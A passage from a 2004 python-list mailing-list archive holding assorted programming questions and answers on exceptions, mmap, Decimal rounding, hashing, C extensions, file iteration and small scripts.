useful fashion. (The cases I was thinking of were GUI apps > without a console, or apps generating output where a traceback might > be missed, but I can come up with reasonable solutions in those cases > if you knew you were looking for an exception, so I'm willing to bet > you can too. The other case was with a locally developed extension, but > that's susceptible to the argument of just fixing the local extension :-)) > > Note however, that knowing about it in many cases may only be through > a stderr traceback, so to know it other than manually inspecting it at > runtime would require trapping stderr in general and logging that > somewhere, and then having something to recognize tracebacks in that > log. > > (b) is certainly possible though, although at the risk of overuse I'll > fall back to wxPython again. In wxPython any exception that occurs in > an event handler will be handled by the wxPython extension, and is > thus invisible to top level code. So if you have an exception in an > event handler, it interrupts the exception handler, which presumably > no longer does what it is supposed to, so that's relevant. The > exception will not, however, stop the application, nor bubble up to > any top level application exception handler. The only place you'd see > an indication of it would be in the traceback to stderr - your > application has no opportunity to handle it otherwise (unless you have > exception handlers in each individual event handler). > > Now in normal operation that's actually a very attractive part of > wxPython. By and large you can create problems, and the application > keeps running. Perhaps one element of the GUI might not react > properly or some button won't work, but the application survives. But > when trying to troubleshoot that problem, it's often most convenient > to interact with the application as a user until the problem occurs, > letting the debugger simply catch things at the point when it happens. You're making a very good case, assuming that the exception is at the root of the problem. However, it's hard to say how many such problems are caused by an exception. Even if there is an exception, the root problem may be way before that and you still have to go and do some normal debugging. So many times I've had memory corruption crashing an application in C++ and I had to look back at a method that was called WAY BEFORE the crash because that was usually corrupting memory at exit. So, in your example of a button, my general debugging approach would still be to put a breakpoint in the event handler of the button, because the root of the problem can be so many different things. In your experience with Python, what percentage of problems manifested themselves with exceptions (especially right at the root of the problem) as opposed to simply flawed logic that gets through without any exceptions? I think we are actually very much agreeing. The main difference between us is how much weight we put in debugging exceptions versus debugging all kinds of problems and how much we are willing to put up with in exchange for that precious advantage in a few cases. You are saying a solid debugger "can be worth its weight in gold". How much does Wing IDE weigh? ;-) Dan > -- David From bvande at po-box.mcgill.ca Thu Sep 16 11:56:35 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Thu, 16 Sep 2004 11:56:35 -0400 Subject: python: ascii read In-Reply-To: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> Message-ID: <4149B7B3.4000607@po-box.mcgill.ca> Alex Martelli said unto the world upon 2004-09-16 07:22: > Sebastian Krause <canopus at gmx.net> wrote: > > >>Hello, >> >>I tried to read in some large ascii files (200MB-2GB) in Python using >>scipy.io.read_array, but it did not work as I expected. The whole idea >>was to find a fast Python routine to read in arbitrary ascii files, to >>replace Yorick (which I use right now and which is really fast, but not >>as general as Python). The problem with scipy.io.read_array was, that it >>is really slow, returns errors when trying to process large files and it >>also changes (cuts) the files (after scipy.io.read_array processed a 2GB >>file its size was only 64MB). >> >>Can someone give me hint how to use Python to do this job correctly and >>fast? (Maybe with another read-in routine.) > > > If all you need is what you say -- read a huge amount of ASCII data into > memory -- it's hard to beat > data = open('thefile.txt').read() > > mmap may in fact be preferable for many uses, but it doesn't actually > read (it _maps_ the file into memory instead). > > > Alex Hi all, [neophyte question warning] I'd not been aware of mmap until this post. Looking at the Library Reference and my trusty copy of Python in a Nutshell, I've gotten some idea of the differences between using mmap and the .read() method on a file object -- such as it returns a mutable object vs an immutable string, constraint on slice assignment that len(oldslice) must be equal to len(newslice), etc. But I don't really feel I've a handle on the significance of saying it maps the file into memory versus reading the file. The naive thought is that since the data gets into memory, the file must be read. But this makes me sure I'm missing a distinction in the terminology. Explanations and pointers for what to read gratefully received. And, since mmap behave differently on different platforms, I'm mostly a win32 user looking to transition to Linux. Best to all, Brian vdB From tzot at sil-tec.gr Wed Sep 22 13:08:21 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 22 Sep 2004 20:08:21 +0300 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> <1l23l01tkbhssc4uh72fps5u9o6ijc2t4f@4ax.com> <1gkj1fd.1s0j05667twjjN%aleaxit@yahoo.com> Message-ID: <f5c3l0lg13iredahn7l0d54c27ojoumn9l@4ax.com> On Wed, 22 Sep 2004 18:35:44 +0200, rumours say that aleaxit at yahoo.com (Alex Martelli) might have written: >> Run it with Python 2.4. See what goes wrong? Put the numbers in an >> Excel sheet too. > >The problem is pretty clear, but it shows up with decimal just as well >as with float: each of 'amount' and 'vat' (in Euro) has a fraction of a >eurocent that is less than 0.5 (about 0.4 eurocents each), and you don't >round them to eurocents before summing, so the total ends up with a >fraction of a eurocent that is _more_ than 0.5. So the final numbers >show, identically badly with both decimals and floats: Oops! yes, this shows my inexperience with the decimal type; in my session, the results were correct since I had earlier issued (after trial and error) a decimal.getcontext().prec=6 which I didn't include my post (forgetting about its importance). Hence, you are correct saying that my confidence in the Decimal type should not be absolute. -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From me at privacy.net Sun Sep 26 15:52:21 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 12:52:21 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com> <du78yayby1a.fsf@mozart.cc.tut.fi> <cj4ul0$nt5$1@sea.gmane.org> <mailman.3916.1096160356.5135.python-list@python.org> <oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com> <mailman.3920.1096177284.5135.python-list@python.org> <RTt5d.10217$gG4.7808@newsread1.news.pas.earthlink.net> Message-ID: <h02el05urfc16o6vv90ekka89jfch6eagk@4ax.com> Andrew Dalke wrote: > > Richard Hanson wrote: > >> But, but... How can *QM* be the ultimate framework? -- it doesn't > >> include gravity (GR). > > Stephen Waterbury wrote: > > Touche! OK, modulo superstrings. :) > > There are many quantum mechanics models. The original > one, the Schr?dinger equation, was extended to relativity > with the Klein-Gordon equation, thence refined to > quantum eletrodynamics (QED) to include the weak for > and quantum chromodynamics (QCD) to include the strong > force. I've heard of these strange things a very *wee* bit. :-) > All of these are quantum mechanics, as is string > theory, *-branes, and many others, including many > known to be non-physical. Superstrings is an attempt > to be a quantum theory that includes gravity. I *almost* kinda knew that, too, sorta. :-) > The confusion you two had is that our current best > description of the universe is called the Standard > Model and it's often assumed that the Standard Model > is identical to being QM, as compared to only be *a* > quantum mechanical model. *Had*?! -- Hell, I'm *still* extremely confused! ;-) Note that as I've alluded to, sometimes even explicitly stated, I'm a generalist with only a few areas of deeper knowledge. Cosmology, particle physics, and the like are decidedly *not* areas wherein I have even a hobbyist's level of knowledge. About the only thing I know about such is that laymen (myself *decidedly* included) don't know much about such. ;-) (I learned a long time ago of an estimation of the amount of time and study it would take for a layman to get even slightly up to speed on these topics -- could be a decade or more if one *only* concentrated on these subjects. So, I decided to remain a layman concerning these areas -- life is too short, and all -- but who would, nonetheless, continue reading about these and many other fascinating domains.) I've heard of the Standard Model, the Copenhagen and Wheeler's "many worlds" interpretations of such, Kaluza-Klein, "hidden-variables theories" (Wheeler, Bohm, both? -- others, I presume), and other phrases of the like. But, I *gladly* grant my confusion and ignorance, and *do* appreciate your kindly edification -- I realize that knowing of "buzz words" does *not* imply understanding of such. :-) Again, I'm only an autodidact, so most assuredly, there are *major* holes in my education. :-) > >> Likewise, in QM it seems that a robot taking measurements is > >> sufficient to "collapse the wave function." Of course, you could also > >> argue that robots are people, too. ;-) > > There was an interesting paper a month or two back, > forgot where, which showed how the length of time for > superposition was a function of temperature. The > hotter it was the shorter the time, because there > were more photons interacting with the environment. > > No active "taking measurements needed" -- only interaction > with the passive environment. Though I didn't read > the article that closely. I mostly looked at the > picture. Wow! Fascinating -- stranger and stranger (as someone may have said). > I also read something recently about a proposed > experiment that might distinguish between a couple > of the standard philosophical interpretations of > QM. About all I recall is that the granddaughter > of one of the early 20th century physicists (Bohr? > Schr?dinger? Heisenberg?) was involved. Again, very interesting! Thanks for your further help to ameliorate my very limited knowledge of the field (as it were). Much appreciated! --- [Note: I am having equipment and connectivity problems. I'll be back as I can when I get things sorted out better, and as appropriate (or inappropriate ;-) ). Thanks to you and to all for the civil and fun discussions!] thanks!--a-man's-gotta-know-his-limitations'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From janimal at mail.trillegaarden.dk Tue Sep 28 11:04:28 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Tue, 28 Sep 2004 17:04:28 +0200 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> Message-ID: <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> So this code should work: indput = raw_input(" Tell me the number you want to transform to textuel representaion") try: indput = str(int(indput)) except ValueError: print "No, you need to give me an integer." List = {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"} output = [] for character in indput: output.append(List[character]) print ', '.join(output) I read it like this first output is an empty list, then for each character in the input it will be run through the "List" and when it find the number it will apend it to the output, and in the last print line it will join the output ( if there has been more than one number) and print it- But if I run the program and type in the number 34 I get the error: Traceback (most recent call last): File "C:/Python23/taltilnumre.py", line 10, in -toplevel- output.append(List[character]) KeyError: '3' How can that be, it looks right to me ... Thanks "Jeffrey Froman" <jeffrey at fro.man> wrote in message news:10liubfprlt4g9d at corp.supernews.com... > Ling Lee wrote: > >> After I have gotten the lenght of the string, I will write a loop, that >> goes through the dictionary as many times as the lengt of the string, and >> the gives me the corresponding numbers, the numner 21 would go 2 times >> through the loop and give me the output two one. > > There is no need to count the length. You can iterate over each character > in > a Python string (or other object) without first calculating the size of > the > loop, like so: > > output = [] > for character in indput: > output.append(List[character]) > print ', '.join(output) > > As Russel pointed out, you'll have to iterate over indput as as a > string -- > not convert it to an integer first, because you can't iterate over an > integer's digits, but you can iterate over a string's characters. > > Jeffrey From adalke at mindspring.com Thu Sep 16 01:49:36 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 16 Sep 2004 05:49:36 GMT Subject: Incrementing a string In-Reply-To: <mailman.3390.1095303317.5135.python-list@python.org> References: <pan.2004.09.15.22.08.19.894702@cox.net> <mailman.3390.1095303317.5135.python-list@python.org> Message-ID: <QP92d.1662$0i5.579@newsread3.news.pas.earthlink.net> Phil Frost wrote: > import string > > class LabelCounter(object): > digits = string.lowercase .... > # define other operators as needed; it's a shame this can't inherit from > # int and get these for free. It can't do this because all of int's > # operators return ints, not LabelCounters. Try this instead. As usual with clever solutions, you probably shouldn't use this in real code. import string def fixup(klass): for name, meth in inspect.getmembers(klass): # Find all the methods except for a few special ones # we know won't return integers if (callable(meth) and name not in ["__class__", "__new__", "__init__", "__str__", "__repr__"]): # Need to make a wrapper function (g) for each of these methods. # The wrapper function needs to know the original method, which # is stored in the newly created scope (f). def f(meth = meth): def g(self, *args, **kwargs): retval = meth(self, *args, **kwargs) if isinstance(retval, int): return LabelCounter(retval) return retval return g g = f() setattr(klass, name, g) # replace with the wrapped version class LabelCounter(int): digits = string.ascii_lowercase def __str__(self): letters = [] i = int(self) while i: d, m = divmod(i, len(self.digits)) letters.append(self.digits[m]) i = d return "".join(letters[::-1]) or self.digits[0] __repr__ = __str__ Here it is in use. >>> a = LabelCounter(4) >>> print a e >>> print a+1 f >>> print a+10 o >>> print (a+10)/2 h >>> print a e >>> print a/2 c >>> print a/3 b >>> print a/30 a >>> print a**4 jw >>> > You can set 'digits' to any sequence at all. Set it to '01' to get > output in binary, or to ['01','23','45','67','89'] to get base 5 in a > very confusing notation *g* I set it to ascii_lowercase since string.lowercase is locale dependent. >>> import string, locale >>> string.lowercase 'abcdefghijklmnopqrstuvwxyz' >>> locale.setlocale(locale.LC_ALL, "de_DE") 'de_DE' >>> string.lowercase 'abcdefghijklmnopqrstuvwxyz\xaa\xb5\xba\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' >>> OTOH, that might be what you wanted ... Andrew dalke at dalkescientific.com From drysdam at ll.mit.edu Thu Sep 23 14:50:04 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Thu, 23 Sep 2004 14:50:04 -0400 Subject: Python and Sybase Message-ID: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> What module is most recommended for accessing Sybase from Python? This one: http://www.object-craft.com.au/projects/sybase/sybase/ ? Also, is there any module that provides a generic DB API and can be hooked to both Sybase and postgresql? This (http://www.python.org/peps/pep-0249.html) looks pretty old. From jmlai at uci.edu Fri Sep 3 00:23:49 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 02 Sep 2004 21:23:49 -0700 Subject: Modules are hashable?! In-Reply-To: <4137ed92$1@news.unimelb.edu.au> References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> Message-ID: <ch8rkp$ncp$1@news.service.uci.edu> Maurice LING wrote: > > The idea that I get from reading this thread is that objects that can be > type compared (comparing the contents) are not hashable, and they are > list, strings, tuples and dictionary. Is there any others that fall into > this category? Is there any way to make them hashable? Well, strings and tuples are immutable, so they provide a hash function (since it's safe to hash them by contents; the contents are pointers that don't change.) Anything that provides a hash function can be hashed. You could theoretically create a new list type that works exactly like a normal list, but hashes based on ID. > > Hashable objects, on the other hand, are hashed based on say, the > pointer address pointing the object or an identifier in the Python VM > symbol table or something. It's like to say that when you hash a human, > you get the name and not the physical dimensions of the person. The > person can grow fat or slim down, but the name is still the same. > > Maurice Heh, like giving every person a unique govt-assigned ID number. You could have two people who are exactly alike -- cloned atom-by-atom, or something -- but they wouldn't have the same ID. And the term "hashing" originates from chopping things up, so hashing humans wouldn't be a good idea :P - Jason Lai From tmohr at s.netic.de Fri Sep 3 12:42:01 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Fri, 03 Sep 2004 18:42:01 +0200 Subject: Sequence Protocol, assign item References: <ch81gl$avb$1@schleim.qwe.de> <m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk> Message-ID: <cha6sp$bgb$1@schleim.qwe.de> Hi, thanks for that hint. I already tried to get some hints from the sources but at another place. A) How it is done in Objects/listobject.c: static int list_ass_item(PyListObject *a, int i, PyObject *v) { PyObject *old_value; if (i < 0 || i >= a->ob_size) { PyErr_SetString(PyExc_IndexError, "list assignment index out of range"); return -1; } if (v == NULL) return list_ass_slice(a, i, i+1, v); Py_INCREF(v); old_value = a->ob_item[i]; a->ob_item[i] = v; Py_DECREF(old_value); return 0; } B) How i do it: static int pytypeseq_ass_item(PyObject* s, int nr, PyObject* val) { int v; pytype_obj* self = (pytype_obj*)s; if(!PyArg_ParseTuple(val, "i", &v)) { return 0; } self->msg.d[nr] = v; /* if(nr > dlc && nr < 8) dlc = nr; */ return 0; } In part A some INCREF/DECREF stuff is done, but i think i don't need this as the PyObjects are only temporarily. In the test script i use this: #! /usr/bin/python from pytype import * m = PyType(); m.setContent(17, 22, 13); print m[0], m[1], m[2]; m[0] = 12; print m[0], m[1], m[2]; When i do it like this, i get: C:\home\vc++\type\python>qwe.py Exception exceptions.SystemError: 'new style getargs format but argument \ is not a tuple' in 'garbage collection' ignored Fatal Python error: unexpected exception during garbage collection #abnormal program termination When i delete the line "m[0] = 12;" i do NOT get this error. I don't really know what this message means, i think i don't correctly handle the internal data structures somehow. Has anybody got a hint for me? Thanks, Torsten. From aleaxit at yahoo.com Wed Sep 15 11:20:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 17:20:43 +0200 Subject: Need script to download file at known address References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com> Message-ID: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> Radioactive Man <rm at rm.rm> wrote: > I am fairly new to the latest verion of Python and using it on windows > 95, 2000, and/or XP. What libraries, modules, functions, etc. would I > need to set up a Python script to download a file, say > "htttp://www.sound.com/files/bob.wav" to my own hard drive at > "c:\sound\bob.wav"? Something like: import urllib urllib.urlretrieve( "htttp://www.sound.com/files/bob.wav", 'c:/sound/bob.wav') should be fine. > I haven't found any good examples of such an operation in the > documentation at the Python website. Any suggestions are appreciated. http://docs.python.org/lib/module-urllib.html has the docs of urlretrieve, and it's SO simple that I don't really see what "good examples" one might provide. A book that by design is full of examples (hopefully good) is the Python Cookbook, which in the intro to Chapter 10 (Network Programming) gives a slightly richer example which downloads several files with urllib.urlretrieve. http://www.python9.org/p9-zadka.ppt may have some useful pointers, perhaps. http://www.experts-exchange.com/Programming/Programming_Languages/Python /Q_21048439.html has exactly the same question you asked, but you have to "sign up" to see the solution (always the same one). Alex From eurleif at ecritters.biz Mon Sep 6 19:37:15 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Mon, 06 Sep 2004 19:37:15 -0400 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: <mailman.2945.1094509287.5135.python-list@python.org> References: <20040901221925.2128958333.EP@zomething.com> <mailman.2945.1094509287.5135.python-list@python.org> Message-ID: <2q4acqFr5etoU1@uni-berlin.de> Mark Hahn wrote: > Does anyone know of any conflicts for DX? Any existing software projects? I'd be willing to bet some people abbreviate DirectX's name as "DX". From krylon at gmx.net Sat Sep 25 06:10:14 2004 From: krylon at gmx.net (Benjamin Walkenhorst) Date: Sat, 25 Sep 2004 12:10:14 +0200 Subject: Open Education in Python In-Reply-To: <10l959t466bgde8@corp.supernews.com> References: <10l959t466bgde8@corp.supernews.com> Message-ID: <20040925121014.3c1c1ed6.krylon@gmx.net> On Fri, 24 Sep 2004 14:43:29 -0700 Maboroshi <nobody at hotmail.com> wrote: > This has not been entirely thought out as I am just putting the > feelers out and want to see what the python community thinks about it. I like the idea, I'd like to hear more about it. I just hope this thing won't be exclusive towards hobbyist... =) Kind regards, Benjamin -- If cars had improved at [the computer industry's] rate, a Rolls Royce would now cost 10 dollars and get a billion miles per gallon. (Unfortunately, it would probably also have 200-page manual telling how to open the door.) -- Andrew Tanenbaum, "Introduction To Distributed Systems" From jeff at ccvcorp.com Thu Sep 2 16:56:15 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 02 Sep 2004 13:56:15 -0700 Subject: .pyc files?? In-Reply-To: <5pGdnSW_EZQl6avcRVn-jg@powergate.ca> References: <938a4680.0409011626.3b047658@posting.google.com> <mailman.2745.1094086722.5135.python-list@python.org> <5pGdnSW_EZQl6avcRVn-jg@powergate.ca> Message-ID: <10jf24s8q1dgu89@corp.supernews.com> Peter Hansen wrote: > Jeremy Jones wrote: > >> This file contains compiled bytecode that the Python interpreter >> uses. If, in your example, filea.pyc exists and its timestamp is >> newer than filea.py, then the interpreter uses filea.pyc without even >> attempting to recompile it (which saves the time spent compiling in >> subsequent runs). If filea.pyc doesn't exist, or its timestamp is >> older than filea.py, the Python interpreter compiles filea.py to >> bytecode and writes it to filea.pyc (if it has permissions to do so). > > > Minor nit-picking: I'm fairly sure that the interpreter just compares > the timestamp for equality, not for "earlier than". I could be > wrong, but I think it's a case of "if the .pyc embedded timestamp > doesn't match the timestamp of the corresponding .py file exactly, > then recompile the .pyc file". > > And a quick test at the command line appears to confirm this... Really? All my .pyc files are timestamped later than the .py file that they were generated from, but they don't seem to be recreated when I import the module... [ach]$ ls -l *.py* -rwxr-xr-x 1 pick pick 1709 Aug 3 18:36 http_multipart.py -rw-r--r-- 1 pick pick 2437 Aug 4 00:12 http_multipart.pyc [ach]$ python Python 2.2.2 (#1, Feb 24 2003, 19:13:11) [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-4)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import http_multipart >>> [ach]$ ls -l *.py* -rwxr-xr-x 1 pick pick 1709 Aug 3 18:36 http_multipart.py -rw-r--r-- 1 pick pick 2437 Aug 4 00:12 http_multipart.pyc [ach]$ Jeff Shannon Technician/Programmer Credit International From dyoo at hkn.eecs.berkeley.edu Thu Sep 30 17:59:56 2004 From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo) Date: Thu, 30 Sep 2004 21:59:56 +0000 (UTC) Subject: Reading a text file backwards References: <cjhqf2$9l1$1@news-int.gatech.edu> <cjhs0i$sab$1@charm.magnus.acs.ohio-state.edu> Message-ID: <cjhvks$2s8d$1@agate.berkeley.edu> Rick Holbert <holbertr at dma.org> wrote: : Jay, : Try this: : myfile = open('myfile.txt', 'r') : mylines = myfile.readlines() : myfile.close() : mylines.reverse() Hi Rick, But this probably won't work for Jay: he's running into memory issues because the file's too large to hold in memory at once. The point is to avoid readlines(). Here's a generator that tries to iterate backwards across a file. We first get the file positions of each newline, and then afterwards start going through the offsets. ### def backfileiter(myfile): """Iterates the lines of a file, but in reverse order.""" myfile.seek(0) offsets = _getLineOffsets(myfile) myfile.seek(0) offsets.reverse() for i in offsets: myfile.seek(i+1) yield myfile.readline() def _getLineOffsets(myfile): """Return a list of offsets where newlines are located.""" offsets = [-1] i = 0 while True: byte = myfile.read(1) if not byte: break elif byte == '\n': offsets.append(i) i += 1 return offsets ### For example: ### >>> from StringIO import StringIO >>> f = StringIO(""" ... hello world ... this ... is a ... test""") >>> f.seek(0) >>> for line in backfileiter(f): print repr(line) ... 'test' 'is a\n' 'this\n' 'hello world\n' '\n' ### Hope this helps! From ykingma at accessforall.nl Mon Sep 13 03:48:17 2004 From: ykingma at accessforall.nl (Ype Kingma) Date: Mon, 13 Sep 2004 09:48:17 +0200 Subject: java References: <6712b7e.0409102159.42cd71d4@posting.google.com> <slrncka231.g1g.davecook@david-cooks-computer.local> Message-ID: <414550c1$0$65846$e4fe514c@dreader5.news.xs4all.nl> David Cook wrote: > On 2004-09-11, Demo <demobudda at yahoo.com> wrote: > >> What computer science concepts can I learn from Java and not from Python? > > Access control (e.g. private, public, protected). > > There's also a certain pleasure in actually getting things to work in Java, > somewhat like the pleasure, I imagine, of building ships in bottles. Yes, but these bottles are tidy. Java's inner (sub)classes let you create an object of another class, with a reference to the current object and some (normally small) changes. This allows to keep the definition of the other class tidy, because there is no need to add features that will be used in one place only. And you can have anonymous inner classes, too. Have fun, Ype From http Sun Sep 19 06:14:22 2004 From: http (Paul Rubin) Date: 19 Sep 2004 03:14:22 -0700 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3494.1095586574.5135.python-list@python.org> Message-ID: <7xfz5ein0h.fsf@ruckus.brouhaha.com> Gary Herron <gherron at islandtraining.com> writes: > Any representation of the infinity of numbers on a finite computer > *must* necessarily be unable to represent some (actually infinity > many) of those numbers. The inaccuracies stem from that fact. Well, finite computers can't even represent all the integers, but we can reasonably think of Python as capable of doing exact integer arithmetic. The issue here is that Python's behavior confuses the hell out of some new users. There is a separate area of confusion, that a = 2 / 3 sets a to 0, and to clear that up, the // operator was introduced and Python 3.0 will supposedly treat / as floating-point division even when both operands are integers. That doesn't solve the also very common confusion that (1.0/3.0)*3.0 = 0.99999999. Rational arithmetic can solve that. Yes, with rational arithmetic, it will still be true that sqrt(5.)**2.0 doesn't quite equal 5, but hardly anyone ever complains about that. And yes, there are languages that can do exact arithmetic on arbitrary algebraic numbers, but they're normally not used for general-purpose programming. From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 17:15:44 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 22:15:44 +0100 Subject: spliting a list by nth items In-Reply-To: <mailman.3817.1095973176.5135.python-list@python.org> References: <d11dcfba040923102543d2f7de@mail.gmail.com> <mailman.3817.1095973176.5135.python-list@python.org> Message-ID: <civee2$pta$1@pegasus.csx.cam.ac.uk> Ed Leafe wrote: > nth_items = items[::n] > non_nth_items = [item for item in items if not in nth_items] Unfortunately, that only works if each item in items is unique. It's also somewhat inefficient since you traverse nth_items for each item in items. >>> n = 2 >>> items = [5] * 5 >>> nth_items = items[::n] >>> non_nth_items = [item for item in items if not in nth_items] File "<stdin>", line 1 non_nth_items = [item for item in items if not in nth_items] ^ SyntaxError: invalid syntax >>> # I think you meant: >>> non_nth_items = [item for item in items if item not in nth_items] >>> nth_items [5, 5, 5] >>> non_nth_items [] -- Michael Hoffman From opengeometry at yahoo.ca Fri Sep 24 20:05:45 2004 From: opengeometry at yahoo.ca (William Park) Date: 25 Sep 2004 00:05:45 GMT Subject: POP3 Filter References: <cj1o5001s78@enews4.newsguy.com> Message-ID: <2rjr2oF1acb72U1@uni-berlin.de> crystal1 <crystal1 at spamless.net> wrote: > Not sure if this has been done... > > Has anyone created a python script that listens on the default POP3 port > for incoming mail, kills certain messages based on a criteria, and > forwards the output to a non-standard port the POP3 server is listening on? > > Upon recieving requests from a sender, the script would transparently > forward traffic to the off port unless a violating condition is encountered. > > I'd like to use the listening python script to check for a correct 'to:' > address format, attachment size limit, etc. > > Before I waste too much time, do you think this is do-able? I think you may be confused about SMTP and POP3. -- William Park <opengeometry at yahoo.ca> Open Geometry Consulting, Toronto, Canada From charlotte at fgm.com Sun Sep 26 00:22:45 2004 From: charlotte at fgm.com (Charlotte Henkle) Date: 25 Sep 2004 21:22:45 -0700 Subject: Counter for items in lists in lists? References: <d4eff00b.0409242217.224f86ef@posting.google.com> <d4eff00b.0409251347.3cc02484@posting.google.com> Message-ID: <d4eff00b.0409252022.2e41f1e4@posting.google.com> > To make a long story longer, here's the code: Whoops...Correction: ...#! /usr/bin/env python ...#Charlotte Henkle ... ...#A program to randomly fill a tennis schedule ...# ...#The original theory looked like this: ...# gamePlayers=random.sample(templist, players_per_game) ...# print gamePlayers ...# ...#But that didn't give a weighted list for extra games ... ...import random ... ...#Eventually these will get set dynamically ...number_of_weeks=10 ...players=['a', 'b', 'c', 'd', 'e', 'f', 'g'] ...games_per_week=2 ...players_per_game=4 ...games=number_of_weeks*games_per_week ... ...#this will be used to pull off "extra game" players ...backupList=players[:] ...random.shuffle(backupList) ... ...#a templist so we can modify it. ...templist=players[:] ... ...#our finished product: ...finishedList=[] ... ...while len(finishedList)!=games: ... if len(templist)>=players_per_game: ... gamePlayers=[] ... while len(gamePlayers)!=players_per_game: ... randomNumber=random.randint(0, len(templist)-1) ... potentialPlayer=templist.pop(randomNumber) ... gamePlayers.append(potentialPlayer) ... finishedList.append(gamePlayers) ... else: ... gamePlayers=templist ... print "I am the leftover game players", gamePlayers ... print "I am the list of backup players", backupList ... count=0 ... while len(gamePlayers)!=players_per_game: ... print "I am a potential player " ... potentialPlayer=backupList[count] ... print potentialPlayer ... print "checking to see if I'm in the game" ... if potentialPlayer not in gamePlayers: ... print "I do not think the player is in the game" ... print "I am the back-up list", backupList ... potentialPlayer=backupList.pop(count) ... gamePlayers.append(potentialPlayer) ... backupList.append(potentialPlayer) ... print "I am the back-up list after reorder", backupList ... print "I am the gamePlayers after test and insertion", gamePlayers ... ... else: ... print "I think that player is in the game" ... count+=1 ... finishedList.append(gamePlayers) ... templist=players[:] ... ...#count the list (thank you, Steve! ...http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&threadm=dI85d.47490%24wV.31831%40attbi_s54&prev=/groups%3Fq%3Dcomp.lang.python%26ie%3DUTF-8%26hl%3Den%26btnG%3DGoogle%2BSearch ... ...def count(item): ... if not isinstance(item, list): ... return {item:1} ... counts = {} ... for i in item: ... for key, ct in count(i).items(): ... counts[key] = counts.get(key, 0) + ct ... return counts ... ...def printList(weeks, games, list): ... x=0 ... y=0 ... index=0 ... while x!=weeks: ... print "Week: ", x+1 ... y=0 ... while y<games: ... print "Game ",y+1, " players are ", list[index] ... y+=1 ... index+=1 ... x+=1 ... ...#printing out and counting the final list ... ...printList(number_of_weeks, games_per_week, finishedList) ...print count(finishedList) From kent at springfed.com Fri Sep 3 23:00:23 2004 From: kent at springfed.com (Kent Tenney) Date: Fri, 03 Sep 2004 22:00:23 -0500 Subject: list conversion question Message-ID: <chbb47$ifn$1@sea.gmane.org> Howdy, I am using PIL, and would like to make a list of the pixel values in an image, sorted by quantity of pixels with that value. im.histogram() returns a list which is a pixel count for each brightness value. So, I want to sort the histogram, and have the resulting list contain the indexes instead of the counts. This seems like it'd be a fairly common task, but I don't know what to call it to look for guidance. Any help is appreciated. Thanks, Kent From libonati at estudios-electricos.com.ar Wed Sep 15 10:45:07 2004 From: libonati at estudios-electricos.com.ar (Fernando Libonati) Date: Wed, 15 Sep 2004 11:45:07 -0300 Subject: Success Natively Compiling Python-2.3.4 in Mingw? Message-ID: <003701c49b32$9a6532d0$0100a8c0@trinity> Hello, after read your message I put hands on work and try to get python2.3.4 sources compiled with DevC++4.9.9 and I've failed. Could you explain a bit more especifically how to get the .dsp / .dsw files into work? Regards, Fernando From jerf at jerf.org Wed Sep 8 20:49:27 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Thu, 09 Sep 2004 00:49:27 GMT Subject: container-indepentent iteration code ? References: <10jv5ad1sjgep4d@corp.supernews.com> <pan.2004.09.08.19.46.06.74868@jerf.org> <10jv9ae988bbnb7@corp.supernews.com> Message-ID: <pan.2004.09.08.20.49.38.913260@jerf.org> On Wed, 08 Sep 2004 20:35:56 -0400, flacco wrote: > i always want obj to be the value. 